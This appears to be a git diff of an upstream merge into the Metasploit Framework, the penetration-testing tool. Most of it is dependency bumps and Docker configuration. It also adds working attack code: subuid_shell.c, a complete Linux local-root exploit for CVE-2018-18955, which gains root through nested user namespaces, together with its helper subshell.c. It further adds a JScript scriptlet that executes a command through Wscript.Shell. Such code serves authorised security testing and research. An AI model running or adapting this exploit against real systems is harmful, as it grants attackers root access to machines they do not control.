Merge in upstream/master
commit
ea724dec46
|
@ -5,6 +5,8 @@ docker-compose*.yml
|
|||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
!docker/database.yml
|
||||
Dockerfile
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
|
|
@ -1 +1 @@
|
|||
2.5.1
|
||||
2.5.3
|
||||
|
|
10
.travis.yml
10
.travis.yml
|
@ -11,9 +11,9 @@ addons:
|
|||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
- '2.3.8'
|
||||
- '2.4.5'
|
||||
- '2.5.3'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
|
@ -24,9 +24,9 @@ env:
|
|||
matrix:
|
||||
fast_finish: true
|
||||
exclude:
|
||||
- rvm: '2.3.7'
|
||||
- rvm: '2.3.8'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
- rvm: '2.4.4'
|
||||
- rvm: '2.4.5'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
|
||||
jobs:
|
||||
|
|
25
Dockerfile
25
Dockerfile
|
@ -1,12 +1,12 @@
|
|||
FROM ruby:2.5.1-alpine3.7 AS builder
|
||||
FROM ruby:2.5.3-alpine3.7 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME/
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
@ -37,26 +37,31 @@ RUN apk add --no-cache \
|
|||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
FROM ruby:2.5.3-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV METASPLOIT_GROUP=metasploit
|
||||
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY . $APP_HOME
|
||||
# used for the copy command
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY --chown=root:metasploit . $APP_HOME/
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
# it results in access denied errors.
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc", "-y", "$APP_HOME/config/database.yml"]
|
||||
|
|
80
Gemfile.lock
80
Gemfile.lock
|
@ -9,8 +9,10 @@ PATH
|
|||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
|
@ -19,9 +21,9 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.52)
|
||||
metasploit-payloads (= 1.3.54)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.4.2)
|
||||
metasploit_payloads-mettle (= 0.5.0)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
|
@ -79,27 +81,27 @@ GEM
|
|||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
actionpack (4.2.11)
|
||||
actionview (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
actionview (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
activemodel (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.10)
|
||||
activemodel (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
activerecord (4.2.11)
|
||||
activemodel (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.10)
|
||||
activesupport (4.2.11)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
|
@ -118,6 +120,7 @@ GEM
|
|||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
diff-lcs (1.3)
|
||||
|
@ -125,6 +128,14 @@ GEM
|
|||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
ed25519 (1.2.4)
|
||||
em-http-request (1.1.5)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
eventmachine (>= 1.0.3)
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.11.1)
|
||||
|
@ -134,17 +145,18 @@ GEM
|
|||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.3)
|
||||
faraday (0.15.4)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
loofah (2.2.2)
|
||||
loofah (2.2.3)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.3)
|
||||
|
@ -152,7 +164,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.1)
|
||||
metasploit-credential (3.0.2)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
|
@ -166,8 +178,8 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.52)
|
||||
metasploit_data_models (3.0.1)
|
||||
metasploit-payloads (1.3.54)
|
||||
metasploit_data_models (3.0.2)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
|
@ -177,8 +189,8 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.4.2)
|
||||
method_source (0.9.0)
|
||||
metasploit_payloads-mettle (0.5.0)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
|
@ -190,7 +202,7 @@ GEM
|
|||
nexpose (7.2.1)
|
||||
nokogiri (1.8.5)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.12.0)
|
||||
octokit (4.13.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
|
@ -210,11 +222,11 @@ GEM
|
|||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.3)
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.3)
|
||||
rack (1.6.10)
|
||||
rack (1.6.11)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
rack-test (0.6.3)
|
||||
|
@ -227,19 +239,19 @@ GEM
|
|||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
railties (4.2.11)
|
||||
actionpack (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.26)
|
||||
recog (2.1.34)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.4)
|
||||
rex-bin_tools (0.1.6)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
|
@ -296,7 +308,7 @@ GEM
|
|||
rspec-mocks (3.8.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.0)
|
||||
rspec-rails (3.8.1)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
|
@ -309,7 +321,7 @@ GEM
|
|||
rspec-support (3.8.0)
|
||||
ruby-macho (2.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.4)
|
||||
ruby_smb (1.0.5)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
|
@ -335,14 +347,14 @@ GEM
|
|||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (0.20.0)
|
||||
thor (0.20.3)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.8)
|
||||
tilt (2.0.9)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo-data (1.2018.7)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
|
@ -372,4 +384,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.4
|
||||
1.17.1
|
||||
|
|
2
LICENSE
2
LICENSE
|
@ -115,7 +115,7 @@ Files: data/webcam/api.js
|
|||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: lib/msf/core/db_manager/http/public/*, lib/msf/core/db_manager/http/views/api_docs.erb
|
||||
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,16 @@
|
|||
<?xml version='1.0'?>
|
||||
<package>
|
||||
<component id='giffile'>
|
||||
<registration
|
||||
description='Dummy'
|
||||
progid='giffile'
|
||||
version='1.00'
|
||||
remotable='True'>
|
||||
</registration>
|
||||
<script language='JScript'>
|
||||
<![CDATA[
|
||||
var q = new ActiveXObject('Wscript.Shell').Run("SCRIPTED_COMMAND");
|
||||
]]>
|
||||
</script>
|
||||
</component>
|
||||
</package>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,52 @@
|
|||
// subshell.c
|
||||
// author: Jann Horn
|
||||
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <grp.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main() {
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
|
||||
|
||||
pid_t child = fork();
|
||||
if (child == -1) err(1, "fork");
|
||||
if (child == 0) {
|
||||
close(sync_pipe[1]);
|
||||
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
|
||||
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
err(1, "exec");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
|
||||
char pbuf[100];
|
||||
sprintf(pbuf, "/proc/%d", (int)child);
|
||||
if (chdir(pbuf)) err(1, "chdir");
|
||||
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
|
||||
int uid_map = open("uid_map", O_WRONLY);
|
||||
if (uid_map == -1) err(1, "open uid map");
|
||||
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
|
||||
close(uid_map);
|
||||
int gid_map = open("gid_map", O_WRONLY);
|
||||
if (gid_map == -1) err(1, "open gid map");
|
||||
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
|
||||
close(gid_map);
|
||||
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) err(1, "wait");
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,272 @@
|
|||
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
|
||||
// Exploits broken uid/gid mapping in nested user namespaces.
|
||||
// ---
|
||||
// Mostly stolen from Jann Horn's exploit:
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
// Some code stolen from Xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added auto subordinate id mapping
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <grp.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/wait.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
char* SUBSHELL = "./subshell";
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
static int write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
|
||||
|
||||
int get_subuid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subuid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_uid = getuid();
|
||||
struct passwd *u = getpwuid(real_uid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", u->pw_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int get_subgid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subgid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_gid = getgid();
|
||||
struct group *g = getgrgid(real_gid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", g->gr_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SUBSHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] setting up namespace\n");
|
||||
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||
dprintf("[-] pipe\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
close(sync_pipe[1]);
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||
dprintf("write to sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setgid(0)) {
|
||||
dprintf("[-] setgid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setuid(0)) {
|
||||
printf("[-] setuid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
execl(SUBSHELL, "", NULL);
|
||||
|
||||
dprintf("[-] executing subshell failed\n");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char path[256];
|
||||
sprintf(path, "/proc/%d/setgroups", (int)child);
|
||||
|
||||
if (write_file(path, "deny") == -1) {
|
||||
dprintf("[-] denying setgroups failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
dprintf("[.] mapping subordinate ids\n");
|
||||
char subuid[64];
|
||||
char subgid[64];
|
||||
|
||||
if (get_subuid(&subuid[0], sizeof(subuid))) {
|
||||
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (get_subgid(&subgid[0], sizeof(subgid))) {
|
||||
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] subuid: %s\n", subuid);
|
||||
dprintf("[.] subgid: %s\n", subgid);
|
||||
|
||||
char cmd[256];
|
||||
|
||||
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newuidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newgidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, mapped subordinate ids\n");
|
||||
|
||||
dprintf("[.] executing subshell\n");
|
||||
|
||||
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||
dprintf("[-] write to sock");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) {
|
||||
dprintf("[-] wait");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -252,6 +252,16 @@ typedef struct _OVERLAPPED {
|
|||
} OVERLAPPED, *LPOVERLAPPED;
|
||||
|
||||
typedef DWORD SERVICE_STATUS_HANDLE;
|
||||
typedef VOID(WINAPI *LPHANDLER_FUNCTION)(DWORD);
|
||||
|
||||
typedef void (WINAPI *LPSERVICE_MAIN_FUNCTION)(DWORD,LPSTR*);
|
||||
|
||||
typedef struct _SERVICE_TABLE_ENTRY {
|
||||
LPSTR lpServiceName;
|
||||
LPSERVICE_MAIN_FUNCTION lpServiceProc;
|
||||
} SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
|
||||
|
||||
typedef SERVICE_TABLE_ENTRY SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
|
||||
|
||||
typedef enum _SC_ENUM_TYPE {
|
||||
SC_ENUM_PROCESS_INFO = 0
|
||||
|
@ -540,3 +550,6 @@ WINAPI BOOL IsDebuggerPresent __attribute__((dllimport))(void);
|
|||
WINAPI BOOL CheckRemoteDebuggerPresent __attribute__((dllimport))(HANDLE, PBOOL);
|
||||
WINAPI NTSTATUS NtQueryInformationProcess __attribute__((dllimport))(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
WINAPI void SetLastError __attribute__((dllimport))(DWORD);
|
||||
WINAPI SERVICE_STATUS_HANDLE RegisterServiceCtrlHandler __attribute__((dllimport))(LPCSTR, LPHANDLER_FUNCTION);
|
||||
BOOL WINAPI StartServiceCtrlDispatcher __attribute__((dllimport))(LPSERVICE_TABLE_ENTRY);
|
||||
LPTSTR WINAPI GetCommandLine __attribute__((dllimport))(void);
|
||||
|
|
|
@ -44,3 +44,5 @@ int system(const char*);
|
|||
long int labs(long int);
|
||||
div_t div(int, int);
|
||||
ldiv_t ldiv(long int, long int);
|
||||
void* malloc (size_t size);
|
||||
|
||||
|
|
|
@ -16,6 +16,7 @@ bin
|
|||
checkfs
|
||||
checkfsys
|
||||
checksys
|
||||
chronos
|
||||
cmwlogin
|
||||
couchdb
|
||||
daemon
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -9,6 +9,6 @@ services:
|
|||
BUNDLER_ARGS: --jobs=8
|
||||
image: metasploit:dev
|
||||
environment:
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf_dev
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf_dev?pool=200&timeout=5
|
||||
volumes:
|
||||
- .:/usr/src/metasploit-framework
|
||||
|
|
|
@ -3,14 +3,13 @@ services:
|
|||
ms:
|
||||
image: metasploitframework/metasploit-framework:latest
|
||||
environment:
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf?pool=200&timeout=5
|
||||
links:
|
||||
- db
|
||||
ports:
|
||||
- 4444:4444
|
||||
volumes:
|
||||
- $HOME/.msf4:/home/msf/.msf4
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
|
||||
db:
|
||||
image: postgres:10-alpine
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
development: &pgsql
|
||||
url: <%= ENV['DATABASE_URL'] %>
|
||||
|
||||
production: &production
|
||||
<<: *pgsql
|
|
@ -5,16 +5,27 @@ MSF_GROUP=msf
|
|||
TMP=${MSF_UID:=1000}
|
||||
TMP=${MSF_GID:=1000}
|
||||
|
||||
# don't recreate system users like root
|
||||
if [ "$MSF_UID" -lt "1000" ]; then
|
||||
MSF_UID=1000
|
||||
# if the user starts the container as root or another system user,
|
||||
# don't use a low privileged user as we mount the home directory
|
||||
if [ "$MSF_UID" -eq "0" ]; then
|
||||
"$@"
|
||||
else
|
||||
# if the users group already exists, create a random GID, otherwise
|
||||
# reuse it
|
||||
if ! grep ":$MSF_GID:" /etc/group > /dev/null; then
|
||||
addgroup -g $MSF_GID $MSF_GROUP
|
||||
else
|
||||
addgroup $MSF_GROUP
|
||||
fi
|
||||
|
||||
# check if user id already exists
|
||||
if ! grep ":$MSF_UID:" /etc/passwd > /dev/null; then
|
||||
adduser -u $MSF_UID -D $MSF_USER -g $MSF_USER -G $MSF_GROUP $MSF_USER
|
||||
# add user to metasploit group so it can read the source
|
||||
addgroup $MSF_USER $METASPLOIT_GROUP
|
||||
su-exec $MSF_USER "$@"
|
||||
# fall back to root exec if the user id already exists
|
||||
else
|
||||
"$@"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$MSF_GID" -lt "1000" ]; then
|
||||
MSF_GID=1000
|
||||
fi
|
||||
|
||||
addgroup -g $MSF_GID $MSF_GROUP
|
||||
adduser -u $MSF_UID -D $MSF_USER -g $MSF_USER -G $MSF_GROUP $MSF_USER
|
||||
|
||||
su-exec $MSF_USER "$@"
|
||||
|
|
|
@ -33,6 +33,11 @@ module CredentialApiDoc
|
|||
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
|
||||
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
|
||||
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
|
||||
KEY_DESC = 'The name of the key for the realm.'
|
||||
KEY_EXAMPLE = 'Active Directory Domain'
|
||||
VALUE_DESC = 'The value of the key for the realm.'
|
||||
VALUE_EXAMPLE = 'contoso.com'
|
||||
|
||||
